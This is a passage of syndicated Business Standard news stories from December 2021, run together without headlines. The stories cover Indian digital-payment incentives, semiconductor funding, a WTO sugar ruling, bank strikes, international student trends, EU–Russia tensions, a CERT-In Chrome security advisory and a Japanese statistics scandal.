digital transactions. In November, a record 4.23 billion digital transactions valued at Rs 7.56 trillion were carried out, said Minister for Communications, Electronics and Information Technology Ashwini Vaishnaw, while addressing the media. This has been done to compensate banks that lost money because of zero on RuPay debit cards and UPI. The objective is to largely keep these transactions free. Mostly public sector banks issue RuPay debit cards. In that sense, the impact on Visa and Mastercard will be minimal because they have a sizeable market share among private banks and in the credit card segment, said Suresh Ganapathy, associate director, Macquarie Capital. Payment companies like Visa and Mastercard have been seeking a level playing field with RuPay, claiming the government is favouring the latter. Reuters reported last month that Visa has complained to the US that Indias informal and formal promotion of domestic payments rival RuPay hurts the US giant in a key market. Another industry expert said Rs 1,300 crore may not be sufficient to fully compensate banks for the loss. However, it will give them some breathing space, he added. The press statement said the scheme will also make digital modes of payments to the unbanked and marginalised more accessible. India today is one of the most efficient payments markets in the world. These developments have been the outcome of the initiatives of the Government of India and innovation by various players in the ecosystem. The scheme will further spur research and development and innovation in the financial technology space, it added. The scheme has been formulated in compliance with the Budget announcements (2021-22, or FY22) by the government to give further boost to digital transactions in the country. There has been a manifold increase in digital payments in the recent past. To give further boost to digital transactions, I earmark Rs 1,500 crore for a proposed scheme that will provide financial incentive to promote digital modes of payment, Finance Minister Nirmala Sitharaman had said in her FY22 Budget speech. The industry has had its share of problems since the announcement of zero MDR, but it will greatly benefit from this initiative of reimbursement of transaction charges levied on digital payments, which will help it to scale up the payments infrastructure in the country, thereby enhancing financial inclusion. The Payments Council of India (PCI) whole-heartedly welcomes the Cabinet decision on the incentive scheme for RuPay debit cards and UPI, said Vishwas Patel, chairman, PCI, and director, Infibeam Avenues. India's rose 44.41 per cent to USD 16.46 billion year-on-year during December 1-14, 2021, according to preliminary data of the Imports too grew 42.57 per cent to USD 27.53 billion during the period under review, the data showed. Imports, excluding petroleum, also increased 32.90 per cent last fortnight over the same period of 2020-21 and up 48.47 per cent as compared to same period of 2019-20. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Key industry players on Wednesday hailed the government's decision to set up the India Mission (ISM) and approved Rs 76,000 crore ($10 billion) for the development of semiconductors and display manufacturing ecosystem in the country. India Cellular and Electronics Association (ICEA) Chairman Pankaj Mohindroo said this is a profound decision and the industry congratulates Prime Minister Narendra Modi and the Ministry of Electronics and Information Technology (MeitY). "The policy and budget outlay deeply recognise that while India should assemble everything possible in the globe and export to the entire world. Building blocks of the electronic ecosystem i.e. Cells (PLI for advanced chemistry cell or ACC has already been launched), display and the ecosystem are critical for long-term sustenance," he said in a statement. "We will surely not lose our sight on the $300 billion output target by 2025-26, which will be the engine of the growth to support non only these three building blocks but also unleash multiple investments in the electronic supply chain," Mohindroo added. The Rs 76,000 crore scheme will be spread across 6 years. India Electronics & Association (IESA) Advisor Satya Gupta said that the focus on silicon logic fab, display fab, compound semiconductors fab, packaging, semiconductor-products-design and research will help in creating a vibrant and sustainable ecosystem in India, leveraging the already existing semiconductor design capabilities. "This is the first time the government is providing significant incentives for Semiconductor product Design called Design Linked Incentives (DLI) giving incentives for product development and product deployment to create Indian chips level products. We are looking forward to an effective and timely implementation of the policies," Gupta said. As part of the scheme, incentives worth Rs 2.3 lakh crore will be provided to position India as a global hub. --IANS na/vd (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Farmer organisations and agri experts on Wednesday pressed for MSP based on realistic cost of production, higher subsidies on diesel and allowing new technologies like genetically modified organisms (GMOs) in their pre- submission to the finance ministry. Ministers of State for Finance Pankaj Chaudhary and Bhagwat Karad held the first pre- consultations with representatives of and agro processing industry through virtual mode. In order to achieve the target of doubling farmers' income, Consortium of Indian Farmers Associations (CIFA) Chief Adviser P Chengal Reddy said the government should increase priority sector lending to by 25 per cent. He suggested that the Commission for Agricultural Costs and Prices, which is the government's advisory body on price policy for crops, should be made autonomous for fixing the minimum support price (MSP) by ascertaining realistic cost of production. Reddy pitched for allowing "technologies including GMO" in time-bound manner to boost productivity. He favoured immediate approval for genetic technology developed by ICRISAT and ICAR. CIFA also said steps should be taken to solve labour shortage and high labour cost. He suggested MNREGA should be linked to all farming activities. Besides, Reddy sought reduction in taxes on pesticides and recommended provision of 5,000 litres diesel per season for harvesting and transplanting at 50 per cent subsidy. Krishak Samaj Chairman Ajay Vir Jakhar tweeted that he participated in the pre- discussions on "Govt. needs to design a robust pre-budget consultation process + system to have beneficiaries assess programs to enable departments to tweak & reset their own programs for more positive outcomes," he said. Stating that green revolution states ensured India's food security, Jakhar said "it's now time for central Govt. to fund a transition in green revolution states to ensure India's nutrition security. Do note, states are in no condition to share the cost of the transition." He also called for a food systems policy which considers health of the people and planet as one. Finance Secretary and Secretary Expenditure T V Somanathan; Secretary, DEA, Ajay Seth; Secretary, Revenue, Tarun Bajaj and Secretary, MCA, Rajesh Verma were also present in the meeting. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) A World Trade Organization panel ruled in favour of Brazil, Australia and Guatemala on Tuesday in their trade disputes with India over sugar subsidies and asked New Delhi to conform with global rules. In the cases brought before the WTO in 2019, the rival producers alleged that India had broken WTO rules by providing excessive domestic support and export subsidies for sugar and sugarcane. "We recommend that India bring its WTO-inconsistent measures into conformity with its obligations under the Agreement on Agriculture and the SCM (Subsidies and Countervailing Measures) Agreement," the panel said. India, the world's second-largest sugar producer, after Brazil, said later on Tuesday that it would appeal the findings of the panel's 115-page report https://www.wto.org/english/tratop_e/dispu_e/cases_e/ds579_e.htm. The appeal will go into a legal void, however, since the WTO's top chamber, the Appellate Body, does not have enough judges to function. The WTO report said that for five sugar seasons between 2014-15 and 2018-19, India provided domestic support to its sugarcane producers in excess of the maximum level of 10% permitted by a global agriculture deal. It also said India failed to notify a WTO committee of its sugar export subsidies, violating a separate agreement. The panel did not uphold one of Australia's allegations that India had maintained buffer sugar stocks that it should have reported to the WTO in the 1990s. India's Ministry of Commerce and Industry said in a statement the panel report was "unacceptable" and would have no impact on ongoing sugar policies. It said the WTO's findings were "erroneous" and "unreasoned". The Australian government welcomed the WTO ruling. "Australia's use of the WTO in this matter is consistent with its previous use of the WTO and aligns with our support for the rules-based trading system," Trade Minister Dan Tehan said in a statement. Brazil's sugar industry group, Unica, said the report recognized the trade distortions caused by India's sugar policies. It said Brazil and India have been collaborating in issues such as cane-based ethanol use and believes both countries will find a "collaborative solution" to the issue. WTO decisions can take time to have any impact on trade. But if decisions are upheld after appeals, the winning side could be awarded with retaliatory measures such as applying heavier tariffs on imports from the country found guilty. (Reporting by Emma Farge; Additional reporting by Roberto Samora in Sao Paulo, Marcelo Teixeira in New York and Renju Jose in Sydney; Editing by Stephanie Nebehay, Mark Heinrich and Peter Cooney) (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) International students are heading to Canada, the UK and the US in record numbers despite the pandemic, new research by the Mitchell Institute at Victoria University shows. But Australia and New Zealand continue to experience a dramatic drop in new international students. Author provided Our report, Student, interrupted: international and the pandemic, examined five major destinations for international students: Australia, Canada, New Zealand, the UK and the US. We found the first waves of the pandemic caused a large fall in new international students. But countries that have opened to international students have rebounded strongly. The research reveals a complex situation where the pandemic affected international students from around the world differently. The numbers of new students from China are still below what they were pre-pandemic. But for some source countries, such as India and Nigeria, numbers are at record levels. International is an important part of how many countries manage investment in their sector. The report highlights the renewed emphasis countries are placing on attracting international students. A fall for all and a rebound for some Our report examined student visa data to understand the impact of the pandemic on prospective international students. Student visa data are a leading indicator, as most students normally need a visa before they can enrol. The chart below shows the total numbers of new student visas each country granted in the 12 months to September in each year from 2018 to 2021. The pandemic resulted in new student numbers falling in all countries. But some have been more affected than others. The UK has recovered the strongest. Its number of new international students is at record levels 38% higher than pre-COVID. Annual data can obscure the disruption caused by the pandemic. This is because countries applied different levels of restrictions throughout 2020 and 2021, altering normal enrolment patterns. The chart below uses quarterly data to explore changes throughout 2020 and 2021. The September 2019 quarter is equal to 100 on the index used for the chart. Using seasonally adjusted data makes it possible to explore changes while controlling for peaks and troughs that usually occur throughout the year. This chart shows the depth of falls in new student visas issued in 2020 after the pandemic began. Australia, New Zealand, the UK and the US experienced falls greater than 80%. By the September 2021 quarter, Canada, the UK and the US had rebounded to record levels for the available data on student visas. This could be good for countries like Australia and New Zealand, which have lost students to other countries. The quick return to an upwards trend in Canada, the UK and the US suggests there is pent-up demand from students waiting for borders to open. If so, new international students should enrol in larger numbers when travel to Australia and New Zealand becomes more possible. What has been the impact by source country? Events in studentss home countries will also influence decisions during a pandemic. Our research looked at the impact of the pandemic on new international students by their country of origin. The table below shows the changes in the number of new student visas for the largest source countries. Nigeria has rebounded the strongest, driven largely by an increase in Nigerian students studying in the UK. New international students from India have also increased by about 27% compared to pre-pandemic levels. Behind this increase lie shifts in student choice. The number of Indian international students going to Australia fell by 62% in the 12 months to September 2021 compared to 2019. In contrast, new Indian international students to the UK more than doubled, jumping by 174%. India has overtaken China as the largest source country of international students. What are the policy implications? Analysis of international education can be a numbers game with discussion focusing on shifts in enrolments and the economic contribution of international students. But there are important policy implications. For instance, there has been much debate about the influence of geopolitical tensions on international student choice. Our research suggests the reduction in Chinese international students is more likely due to administrative obstacles and travel restrictions. International students also contribute greatly to total investment in education sectors. In Australia, fees from international students provide about 27% of total university revenue. Losing international students can have a big impact on education institutions, especially universities. In a post-pandemic environment, governments are seeking to grow and foster their international education sectors. In the US, the Biden administration announced a renewed commitment to international education in July 2021. The UK government is aiming for a 75% increase in the value of international education by 2030. While the pandemic has had a massive impact on international education, the scene is set for a return to a highly competitive global market. Peter Hurley, Policy Fellow, Mitchell Institute, Victoria University and Melinda Hildebrandt, Policy Fellow, Mitchell Institute, Victoria University This article is republished from The Conversation under a Creative Commons license. Read the original article. Close to nine lakh employees of various state-run will go on a two-day nation-wide strike beginning Thursday to protest against the government's move to privatise two public sector lenders, union leaders said. Most of the banks, including State Bank of India (SBI), have already cautioned their customers about the strike's possible impact on banking operations like cheque clearance and fund transfer. A conciliation meeting before the Additional Chief Labour Commissioner on Wednesday failed, so unions are going ahead with their planned strike, All India Bank Officers' Confederation (AIBOC) General Secretary Soumya Datta said. The government had in Budget 2021-22 announced its intent to take up privatisation of two public sector (PSBs) during the year. The two-day strike on December 16 and 17 was called by the United Forum of Bank Unions (UFBU). UFBU is an umbrella body of nine unions, including AIBOC, All India Bank Employees Association (AIBEA) and National Organisation of Bank Workers (NOBW). AIBEA General Secretary C H Venkatachalam said representatives of unions, Indian Banks' Association and ministry participated in the conciliation meeting. "We reiterated our stand that if the government would assure that the Bank Privatisation Bill (Banking Laws Amendment Bill, 2021) would not be tabled during this session of the Parliament, we would be inclined to reconsider the strike but the government could not give any such assurance to us," Venkatachalam said. Unions tried their best to avert the strike to avoid inconvenience to public but the government was not forthcoming, he said, adding that the strike has been called to defend and preserve PSBs. UFBU's Convenor (Maharashtra) Devidas Tuljapurkar said around nine lakh bank employees and officers from various public sector banks, old generation private sector and regional rural banks will participating in the strike. Public sector banks have always been at the forefront in implementation of various government schemes, including demonetisation, Jan-Dhan Yojana, social sector insurance schemes and Mudra schemes, he told reporters on Wednesday. He claimed that if PSBs are privatised, then bank branches in rural and backward regions will be closed and implementation of all the government schemes meant for socially and economically weaker sections will get affected. Tuljapurkar said bank employees right from sweepers to senior executives in scale 5 will observe the two-day strike and protests would be held across the country. In Maharashtra, around 60,000 bank staffers will go on strike. On Monday, all public sector lenders including SBI requested unions to reconsider their decision and refrain from participating in the strike in the interest of customers, investors, and banks. Considering the ongoing pandemic situation, resorting to a strike will cause great inconvenience to the stakeholders, SBI had said. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The Reserve Bank of India (RBI) has thrown open the government agency business like tax collection to scheduled and scheduled small (SFBs). This is part of move to provide further scope to to conduct government agency business. It has now been decided in consultation with the government of India, to make scheduled payments banks and scheduled small banks eligible to conduct such business, said in a notification. Any payment bank or small bank that intends to undertake government agency business may be appointed as an agent of upon execution of an agreement with They can do so only when they comply with the overarching regulatory framework prescribed for these banks. Bank executives said this is step to broad-base set up and enhance quality of service for government business. This is enabling provision and does not guarantee a certain business volume. These banks would have to work out priorities and strategy for business from governments central and state. Early this year in February the government had lifted the embargo put on further allocation of Government business to private sector banks. The embargo was clamped from September 2021. Subsequently, RBI reviewed and revised the framework (in May 2021) for authorising Scheduled Private Sector Banks as agency banks. The Financial Times newspaper has followed the Time magazine in naming Elon Musk, the chief of Inc, as its "person of the year", commending him for the work done in transforming the electric vehicle industry. Tesla, the global EV leader, has pushed many young consumers and legacy automakers to shift focus to In a column, the FT's editor, Roula Khalaf, credited Musk for demonstrating that EVs could replace cars fueled by gasoline, and called him a revolutionary in the industry. "For a long time, the rest of the auto industry was basically calling and me fools and frauds," the newspaper quoted Musk as saying in an interview. "They were saying electric cars wouldn't work, you can't achieve the range and performance. And even if you did that, nobody would buy them." Musk is the world's richest person and his company is worth about $1 trillion, making it more valuable than automakers Ford Motor and General Motors combined. Over the last few weeks, Musk has sold nearly $13 billion worth of Tesla shares. U.S. Senate Democrats have demanded that stocks and tradeable assets of billionaires be taxed as majority of their wealth lies there. Earlier this week, Democratic U.S. Senator Elizabeth Warren took to Twitter to say that Musk should pay taxes and stop "freeloading off everyone else" after Time magazine named him its "person of the year". "And if you opened your eyes for 2 seconds, you would realize I will pay more taxes than any American in history this year," Musk responded. From hosting NBC sketch comedy show "Saturday Night Live" to dropping tweets on cryptocurrencies and meme stocks that have triggered massive movements in their value, Musk has dominated the headlines and amassed over 66 million followers on Twitter. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The is prepared to move forward with the sale of F-35 fighter jets and drones to the (UAE), US Secretary of State said on Wednesday, after reports the UAE intended to suspend discussion of the deal. A UAE official on Tuesday told Reuters that it had informed the that it would suspend discussions to acquire F-35 fighter jets, part of a $23 billion deal that includes drones and other advanced munitions. The official cited "technical requirements, sovereign operational restrictions, and cost/benefit analysis" as reasons that have prompted a re-assessment of the deal by the UAE government. The UAE had signed an agreement to purchase 50 F-35 jets and up to 18 armed drones, people familiar with the situation told Reuters in January. Speaking at a news conference in Kuala Lumpur, Blinken said Washington had to conduct some reviews. "We've wanted to make sure, for example, that our commitment to Israel's qualitative military edge is assured, so we wanted to make sure that we could do a thorough review of any technologies that are sold or transferred to other partners in the region, including the UAE," Blinken said. "But I think we continue to be prepared to move forward if the UAE continues to want to pursue both of these," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chinese finance minister Liu Kun has called for deeper reforms to the country's regime in a bid to strengthen demand-side management and stabilise the market, the state-run Securities Times newspaper reported on Wednesday. China's property market has been a key driver of the country's economic growth, but it has been hit this year by tighter regulations and a liquidity crisis that has put giant debt-ridden developers in jeopardy. A new nationwide has been proposed as part of efforts to curb speculative purchases. China's cabinet, the State Council, is currently deciding which regions will be the first to introduce pilot reforms. Liu, speaking at a parliamentary standing committee meeting, said more work on pilot regional was still required before new national legislation was rolled out, the Securities Times reported. The specific pilot policies and locations would be decided in due course and the trial reform period is set to last five years, he was quoted as saying. Liu also said prudence would continue to prevail, with efforts to minimise the negative impact of reforms on poorer rural regions. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) China's installed solar capacity could miss expectations to reach just 45 gigawatts (GW) to 55 GW this year, the solar manufacturing association said on Wednesday, as soaring prices of raw material slowed projects. The figure compares with generation capacity of 55 GW to 65 GW that had been forecast to be added this year, as has grown solar power capacity nearly sixfold since 2015, to stand at 253.43 GW by 2020. But a robust rebound in installation in coming years could see the launch of up to 75 GW of new capacity in 2022, Wang Bohua, vice-chairman of the Photovoltaic Industry Association (CPIA), told a conference. This could also push annual capacity additions to between 90 GW and 110 GW by 2025, he added. Prices of silicon materials and silicon wafer surged 165% and 63%, respectively, in the period from January to September, Wang said, although prices have cooled in recent weeks. President Xi Jinping has pledged to boost total installed solar and wind capacity to 1,200 GW by 2030 in the fight on climate change, implying his country would need to add 665 GW of solar and wind capacity within this decade. Over the first 10 months this year, however, just 29.31 GW of new solar power generation capacity was launched, official data showed, as a supply constraint on photovoltaic raw materials and runaway product prices hit new projects. China's solar module exports reached 82.2 GW in the first 10 months of 2021, up 32% on the year, CPIA data showed, destined mostly for Australia, Europe and Japan, while sales to emerging markets such as Brazil, India and Vietnam also picked up. Wang also warned that tightening global trade conditions could affect development of the industry. Last week, Washington banned imports from the far western region of Xinjiang over concerns about forced labour. Xinjiang supplies about 45% of the world's solar panel-grade polysilicon. Some Chinese solar makers, such as Longi Green Tech , have set up manufacturing plants overseas to avoid the tension over politics and trade. (Reporting by Muyu Xu and David Stanway; Editing by Clarence Fernandez) (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The broad, diverse and bipartisan swath of signers demonstrated once again Congress' steadfast support for His Holiness the Dalai Lama, religious freedom and basic human rights. The Biden administration's presumptive Coordinator must push for a meeting between the US President and the Tibetan spiritual leader, the Dalai Lama, fully implement US laws on Tibet, end the practice of calling part of China, say more than 60 members of the in new Senate and House bipartisan letters. The letters to US Under Secretary of State Uzra Zeya are the latest sign of Congress intensifying its interest in Zeya's appointment as special coordinator for Tibetan issues in the US State Department is expected soon. Marco Rubio (R-Fla) and Patrick Leahy (D-VT) in the Senate and Jim McGovern (D-Mass) and Chris Smith (R-NJ) in the House led the letters. The broad, diverse and bipartisan swath of signers demonstrated once again Congress' steadfast support for His Holiness the Dalai Lama, religious freedom and basic human rights. "These letters provide a vital framework for the next special coordinator to address China's oppression in Tibet while making it clear that Congress expects the Biden administration to act quickly and meaningfully to support the Tibetan people," said Franz Matzner, government Relations Director of the International Campaign for Tibet (ICT), an advocacy group with offices in Washington D.C. and Europe. "At a time when Freedom House has declared Tibet the least-free country on earth alongside Syria, ICT thanks the 38 Senators and 27 Representatives who signed onto these letters and showed crucial leadership on the Tibetan issue. We look forward to working with the next special coordinator and encourage her to use these letters to advance US policy on Tibet." What the letters say: Zeya currently serves as Under Secretary of State for civilian security, democracy and human rights -- a position that has traditionally doubled as the Special Coordinator. The Tibetan Policy Act of 2002 mandates the appointment of the special coordinator. The letters to Zeya list 10 areas where Congress and the Biden administration can work together on Tibet, including: Engaging with the and the central Tibetan administration, which provides democratic governance for Tibetans in exile. The letters suggest that President Biden invite the to the Oval Office -- as several of his predecessors have done -- or meet with him in his exile home of India, among other options. Resisting China's attempts to interfere in the Dalai Lama's succession, the Chinese government plans to appoint its own successor to the 86-year-old Tibetan spiritual leader. But the Tibetan Policy and Support Act (TPSA) of 2020 states that only the and the Tibetan Buddhist community can decide on his succession. The letters urge the Biden administration to "work with like-minded governments to "affirm this principle as the international norm," as the TPSA requires. The letters call on Zeya to fully implement the Reciprocal Access to Tibet Act of 2018, which pushes for access to Tibet for US journalists, diplomats and ordinary citizens. The letters ask Zeya to follow through on US Secretary of State Antony Blinken's promise to establish a Tibet unit in the US Embassy in Beijing. They also affirm the Congress members' interest in opening a US consulate in Lhasa, Tibet's capital, as the TPSA encourages. The last round of Sino-Tibetan dialogue took place over a decade ago. Since then, the Chinese government has refused further talks, insisting that the Dalai Lama first agree to unreasonable preconditions. The letters say, "We encourage the US government to engage earnestly with both sides, like-minded partners, and experts to explore novel strategies that could produce forward movement" on resuming talks. In a break from past reports, the US State Department's 2020 Country Reports on Human Rights Practices do not refer to Tibetan areas as "part of the People's Republic of China." The Congress members urge the US State Department to continue excluding that phrase, both to promote dialogue without preconditions and show respect for Tibetan's rights and history. The letters also call for support of Tibetan political prisoners, refugees in Nepal, their language and culture etc. The Dalai Lama has been living in India since fleeing his homeland in 1959. The central Tibetan administration is based in this northern hill town of Dharamsala in Himachal Pradesh. --IANS vg/khz/dpb (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Urging the community to support the vulnerable people of Afghanistan, Prime Minister on Wednesday said disengaging with the war-torn nation would be "disadvantageous" for the world. Chairing the second meeting of the apex committee on Afghanistan, Khan said Pakistan will support Afghan people in every possible way to avert a humanitarian crisis, the Prime Minister's Office (PMO) said in a statement. Earlier in a tweet, the PMO quoted Khan as saying that "disengaging with would be disadvantageous for the world". "The prime minister expressed the hope that the world would not repeat the mistake of disengaging with He urged the community to support the vulnerable people of Afghanistan," the statement said. PM Khan also highlighted that Pakistan had already committed to providing humanitarian assistance worth Rs 5 billion, which included food commodities and emergency medical supplies. The committee was told that, as per the directions of the premier, the facility of free Covid-19 vaccination for all Afghans entering Pakistan from land borders was underway. "The process of obtaining a Pakistani visa has been simplified for Afghans," the statement said. The meeting was attended by Foreign Minister Shah Mehmood Qureshi, Information Minister Fawad Ahmed, Interior Minister Sheikh Rashid, Planning Minister Asad Umer, Advisor on Finance Shaukat Fayaz Tarin, Advisor Commerce Abdul Razaq Dawood, Chief of Army Staff General Qamar Javed Bajwa, National Security Adviser Dr Moeed Yousaf and senior civil and military officers. The meeting was held ahead of Pakistan hosting a session of Organisation of Islamic Cooperation (OIC) foreign ministers in Islamabad on Sunday to highlight the Afghan issue. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The head of the European Union's executive warned on Wednesday that the bloc has a battery of additional sanctions ready if Moscow decides to invade neighboring On the eve of an EU summit on the issue, Commission President Ursula von der Leyen said that beyond scaling up and expanding existing sanctions, the EU can adopt "unprecedented measures with serious consequences for '' Von der Leyen told the European Parliament that there are already economic sanctions in place targeting Russia's finance, energy and sectors because of its annexation of Ukraine's Crimea peninsula in 2014 and actions that the west sees as increasingly aggressive since. She did not elaborate what new sanctions could consist of. U.S. intelligence officials say has moved 70,000 troops toward Ukraine's border and is preparing for a possible invasion early next year. Moscow denies it has any plans to attack and rejects Western concerns as part of a smear campaign. In draft conclusions for Thursday's summit of EU leaders seen by The Associated Press, the 27 nations promise that any further military aggression against will have massive consequences and severe cost in response. The EU would coordinate any sanctions package with the United States and Britain. If some nations see an attack as imminent, others, like France and Germany, believe there is still time for diplomacy to work. Above all, I call on Russia to de-escalate, to pursue diplomatic channels and to abide by its commitments, said von der Leyen. French President Emmanuel Macron and German Chancellor Olaf Scholz will have talks with Ukraine's President Volodymyr Zelenskyy in Brussels later Wednesday. In 2015, France and Germany brokered a peace agreement that helped end large-scale hostilities in Ukraine's east, where Ukrainian forces have been fighting Russia-backed separatists since 2014. Efforts to reach a political settlement to the separatist conflict, which has killed more than 14,000 people in seven years, have failed. Sporadic skirmishes continue along the tense line of contact. Russia so far refuses to meet France and Germany for more peace talks on the conflict. French telecom billionaire Patrick Drahi is weighing an initial public offering of Sothebys, a little over two years after he bought the storied auction house, people with knowledge of the matter said. Drahi has held preliminary discussions with potential advisers about a US listing of Sothebys as soon as next year, the people said, asking not to be identified because the information is private. Sothebys, with a nearly 300-year history, is one of the worlds biggest auction houses dealing in fine art, collectibles and real estate. Its seen strong online sales during the pandemic and has been moving into digital offerings including non-fungible tokens. The company competes with Christies, which is owned by French billionaire Francois Pinault. Drahi stunned the art world when he bought Sothebys for $3.7 billion including debt in 2019, a deal that ended its three-decade run as a public company. A listing would return one of the auction industrys most storied names to the stock market and provide a key glimpse into the inner workings of the art world at a time when rising wealth is helping set new records. Talks are at an early stage, and details of the potential offering could change depending on investor appetite, the people said. A representative for Drahi and Sothebys didnt immediately respond to a request for comment. Drahi is a serial dealmaker whos built a telecommunications empire across Europe and the US. The Moroccan-born Frenchman established himself by buying and selling small cable in France, before embarking on a debt-fuelled acquisition spree that turned his modest TV and phone group into one of the worlds biggest media and telecom Younger Crowds On Tuesday, he raised his holding in BT Group Plc to 18 per cent to tighten his grip on the future of the UK telecoms giant. While Drahi said he wont make a takeover offer for BT, his approach of creeping control could flush out other interest from private equity firms or rival operators. His decision to explore options for Sothebys comes in a strong year for the auction house. In November, it raised $1.3 billion through its so-called Marquee Sales, a series of prestige online and in-person auctions. A hotly-anticipated sale of artworks owned by real estate developer Harry Macklowe brought in $676 million alone. Sothebys has been placing increasing importance on non-traditional sources of revenue. In April, it brokered a $1.8 million sale of rapper Kanye Wests Nike Air Yeezy 1 sneakers. Its also embraced the market for non-fungible tokens, or NFTs, and partnered with online marketplace Nifty Gateway earlier this year on a $16.8 million sale of work by the digital artist known as Pak. Sothebys and auction houses have become tech platforms in a way, said Franck Prazan, owner of the Applicat-Prazan gallery and a former managing director at Christies in France. Prime Minister and Awami League leader Sheikh Hasina on Tuesday railed at what she called terrorists and militia groups responsible for the massacre wrought 50 years ago. | Wikimedia Commons While Chinese media has been letting off steam over what it calls brouhaha about Taiwan calling the People's Liberation Army weak, to the south across the eastern end of the Himalayan Cordillera a different script is being torn into. As India's eastern neighbour and 'garment nation'of the world marks half century of liberation, Prime Minister and Awami League leader on Tuesday railed at what she called terrorists and militia groups responsible for the massacre wrought 50 years ago. The Chinese, though heavily invested in the country, however seem largely oblivious of what's going on about 100 miles south of Arunachal Pradesh, which Beijing likes to call 'South Tibet.' A Chinese person in the UK said he had "heard about the War but doesn't know the details." When approached by IANS, a Chinese state media employee not wishing to be named, said: I knew that used to be part of Pakistan, but I am largely unaware of the history. Has the Himalayan range come in the way of a better understanding of the geopolitics across this geographical barrier? No, says Pankaj Srivastava, an Indian broadcast journalist who worked for about a decade with the Hindi service of Radio International (CRI) in Beijing. "The Chinese are a people who avoid looking back at history. They are more into the nuances of the next mobile phone model launch or discussing what the latest IT device entails," said Srivastava, who moved to India about two years ago. Has the flailing popularity of humanities contributed to a lack of interest in events of the past? That seems to be one of the important reasons, says the Noida-based journalist. "The clamour for jobs has led to the youth lapping up IT, management and commerce courses, leading to history, sociology, philosophy getting a short shrift. This, he adds, has resulted in a disenchantment with the past and an obsession with the future. Though has thousands of Chinese employed mostly in the construction industry, few would know how the country, once called East Pakistan, achieved liberation. "Chinese expats in Bangladesh socialise with citizens in Dhaka and Chittagong," said Mohammad Ahtasum Haider who hails from Cumilla, which is about 100km from the capital Dhaka. Haider, who lives and works in Qatari capital Doha, has two children back home who are filled with excitement in anticipation of the celebrations. Tahmid Haider and his younger sister Toha Haider will participate in the parade being organised in town on December 16 to commemorate 50 years of the birth of the nation. Politics divides, but cultures unite: three neighbouring countries -- India, Bangladesh and probably epitomise this. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) According to the advisory, several vulnerabilities have been found in the Google Chrome browser. (Photo: Bloomberg) The Indian Computer Emergency Response Team (CERT-In) has issued a 'high severity' warning for Chrome browser users. As per the advisory, several vulnerabilities have been found in the Chrome browser that could be exploited by a remote attacker to execute arbitrary code on the targeted system. has already released a fix for these vulnerabilities in its latest software update for Chrome and it is highly advisable that users upgrade to the latest version soon. According to Google, 22 types of security fixes have been given in the latest Chrome browser, which works to increase user privacy. The government advisory as well as Google advised Chrome users to update to the latest version. Google recently updated the Chrome stable channel to 96.0.4664.93 for Windows, Mac and Linux, which is available for all users. In an advisory, CERT-In said, "Multiple vulnerabilities exists in Google chrome due to Type Confusion in V8; Use after free in web apps, UI, window manager, screen capture, file API, auto fill and developer tools; Incorrect security UI in autofill; Heap buffer overflow in extensions, BFCache and ANGLE; Type Confusion in loader; Insufficient data validation in loader; Integer underflow in ANGLE and Insufficient validation of untrusted input in new tab page." One can check for the available update on Chrome and update it by clicking the three vertical dots in the top right of the page. Click the About Chrome option and it will update. The Indian Computer Emergency Response Team is an office within the Ministry of Electronics and Information of the Government of India. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) and held bilateral consultations on United Nations-related issues at the Director-General level here. The Brazilian delegation was led by Adriano Silva Pucci, Director of the Department of at the Ministry of Foreign Affairs of Prakash Gupta, Joint Secretary (UNP & Summits) led the Indian delegation along with officials from the Embassy of in Brasilia. Earlier, congratulated for its election as a non-permanent member of the UN Security Council (UNSC) for the 2022-23 term and welcomed its concurrent tenure with India for the year 2022. As leading voices of the developing world, both sides appreciated the convergences on multilateral issues, including with respect to a wide range of themes on the UNSC agenda. Further, both sides shared their respective priorities during their UNSC tenure. In keeping with the bilateral Strategic Partnership, they agreed to work closely together on key issues on the UNSC agenda, in particular on their shared commitment to reformed multilateralism. It's expected that India and Brazil will continue their dialogue on the UN reform also. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The Japanese government overstated construction orders data received from the industry for years, Prime Minister Fumio Kishida said on Wednesday, in a practice that may have had the effect of inflating the country's economic growth figures. Kishida made the comment in a parliamentary session after an Asahi newspaper report that the Ministry of Land, Infrastructure, Transport and Tourism had been "rewriting" data received from about 12,000 select companies since 2013 at a pace of about 10,000 entries per year. It was not clear why the government started the practice of rewriting the data. It is also unclear how gross domestic product (GDP) figures may have been affected, though analysts expected any impact to be minimal particularly as the companies concerned were likely small in scale. "It is regrettable that such a thing has happened," Kishida said. "The government will examine as soon as possible what steps it can take to avoid such an incident from happening again." He added that "improvements" had been made to the figures since January 2020 and that there was no direct impact on data for fiscal year 2020 and 2021. More broadly, the concern for some is the credibility of data upon which market participants rely for forecasting. "The biggest problem is not the effect on the per se but the damage to reliability of (official) statistics," said Saisuke Sakai, senior economist at Mizuho Research and Technologies. "We can't help doubting this kind of issue could happen across government ministries," Sakai added, referring to another flaw in health ministry data found in 2018. Sloppy The survey compiles public and private construction orders which in the 2020 fiscal year totalled roughly 80 trillion yen ($700 billion), and is among data used to calculate For the survey, the ministry collects monthly orders data from construction companies through local prefecture authorities. Companies that were late in submitting orders data would often send in several months' worth of figures at once at a later date, the Asahi said. In these instances, the ministry would instruct local authorities to rewrite the orders for the combined months as the figure for the latest, single month. "This won't give much of a boost (to construction orders data). Overall GDP data is unlikely to change," said Akiyoshi Takumori, chief economist at Sumitomo Mitsui DS Asset Management. Considering has hundreds of thousands of 